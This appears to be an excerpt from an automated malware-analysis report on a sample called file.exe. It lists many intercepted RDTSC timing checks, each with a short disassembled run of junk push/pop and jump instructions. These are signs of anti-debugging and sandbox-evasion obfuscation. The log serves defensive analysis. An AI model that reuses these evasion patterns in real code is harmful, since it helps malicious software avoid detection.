Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D5F0 second address: 76D5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D5F5 second address: 76D5FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76D5FB second address: 76D5FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EA46 second address: 71EA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F488D0453F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EA51 second address: 71EA57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EA57 second address: 71EA5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EA5B second address: 71EA69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71EA69 second address: 71EA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76DE02 second address: 76DE15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756CFFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77161C second address: 771622 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 771622 second address: 77162C instructions: 0x00000000 rdtsc 0x00000002 jg 00007F488C756D02h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77162C second address: 77163E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F488D0453F6h 0x0000000a js 00007F488D045402h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77163E second address: 771644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775317 second address: 775321 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F488D0453F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775321 second address: 775360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jmp 00007F488C756D00h 0x0000000d jnl 00007F488C756D0Fh 0x00000013 ja 00007F488C756CFEh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77548F second address: 775493 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775493 second address: 77549D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F488C756CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775730 second address: 77573E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77573E second address: 77577E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F488C756CF6h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F488C756D01h 0x00000011 popad 0x00000012 jne 00007F488C756CF8h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jne 00007F488C756D07h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 775BC6 second address: 775BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F488D0453F6h 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F488D045409h 0x00000011 popad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E741 second address: 77E77A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F488C756D08h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E77A second address: 77E77E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77C70E second address: 77C717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CA2E second address: 77CA4A instructions: 0x00000000 rdtsc 0x00000002 jg 00007F488D0453F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F488D0453FCh 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CA4A second address: 77CA60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488C756D01h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77CA60 second address: 77CA66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D04F second address: 77D05B instructions: 0x00000000 rdtsc 0x00000002 jo 00007F488C756CF6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D05B second address: 77D072 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F488D045403h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D072 second address: 77D08A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F488C756CF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F488C756CF8h 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D08A second address: 77D08F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D5E9 second address: 77D5EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D5EF second address: 77D5F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D8BF second address: 77D8C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D8C3 second address: 77D8E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F488D045409h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D8E2 second address: 77D8F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F488C756CF6h 0x0000000a jnl 00007F488C756CF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D8F2 second address: 77D8F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D8F6 second address: 77D8FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D8FC second address: 77D906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D906 second address: 77D90A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77D90A second address: 77D91E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F488D0453F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 push edi 0x00000012 pop edi 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E1B3 second address: 77E1B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E1B7 second address: 77E1C8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F488D0453F6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77E470 second address: 77E474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783375 second address: 783389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F488D0453FCh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783389 second address: 7833AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F488C756D08h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 787387 second address: 78738B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78738B second address: 78738F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78738F second address: 787395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78651D second address: 786531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F488C756CFEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786531 second address: 78653D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jc 00007F488D0453F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78653D second address: 786546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7867CD second address: 7867D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786929 second address: 786932 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786932 second address: 786947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488D045401h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786947 second address: 78695F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78695F second address: 786965 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786965 second address: 786969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786969 second address: 7869A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F488D045406h 0x00000010 jns 00007F488D0453F6h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F488D045404h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7869A8 second address: 7869AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7869AD second address: 7869B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F39D second address: 78F3A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F3A1 second address: 78F3C0 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F488D0453F6h 0x00000008 jmp 00007F488D045405h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D4C4 second address: 78D4CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F488C756CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D4CE second address: 78D4DA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D4DA second address: 78D4E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F488C756CF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78D4E5 second address: 78D4EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DA7E second address: 78DA8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F488C756CF6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DA8B second address: 78DA9E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F488D0453FDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78DD57 second address: 78DD64 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jg 00007F488C756CF6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78E02D second address: 78E06D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F488D0453FEh 0x0000000b jmp 00007F488D045402h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jne 00007F488D0453F6h 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f jne 00007F488D0453FCh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F1DD second address: 78F1E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F1E1 second address: 78F1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007F488D0453F6h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F1F3 second address: 78F216 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F488C756D12h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78F216 second address: 78F248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F488D045406h 0x00000009 push edi 0x0000000a jmp 00007F488D045404h 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7942E7 second address: 7942EC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7942EC second address: 7942FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jo 00007F488D045408h 0x0000000d push ecx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7942FE second address: 794306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794147 second address: 79414B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79414B second address: 794161 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D02h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794161 second address: 794167 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 794167 second address: 79417F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F488C756CF6h 0x00000009 jbe 00007F488C756CF6h 0x0000000f pop ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79417F second address: 79418F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F488D0453F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79418F second address: 794197 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AA79 second address: 79AA98 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F488D045401h 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F488D0453F6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79AA98 second address: 79AA9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5F1C second address: 7A5F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jl 00007F488D0453F6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5A5A second address: 7A5A90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F488C756CFEh 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007F488C756D07h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5A90 second address: 7A5A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5A95 second address: 7A5A9F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F488C756CFEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC027 second address: 7AC02D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC02D second address: 7AC034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC034 second address: 7AC099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jns 00007F488D045412h 0x0000000b popad 0x0000000c pushad 0x0000000d jnl 00007F488D045411h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F488D045407h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABB96 second address: 7ABB9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABB9A second address: 7ABB9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABB9E second address: 7ABBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABD01 second address: 7ABD0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABD0C second address: 7ABD59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F488C756D01h 0x00000007 jnl 00007F488C756CFCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F488C756D09h 0x00000017 jne 00007F488C756CF6h 0x0000001d jnc 00007F488C756CF6h 0x00000023 popad 0x00000024 push edi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABD59 second address: 7ABD64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F488D0453F6h 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABD64 second address: 7ABD7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F488C756D03h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ABD7E second address: 7ABD9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F488D045406h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCBF5 second address: 7BCC1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F488C756D01h 0x0000000d pop esi 0x0000000e push eax 0x0000000f pushad 0x00000010 jmp 00007F488C756CFCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
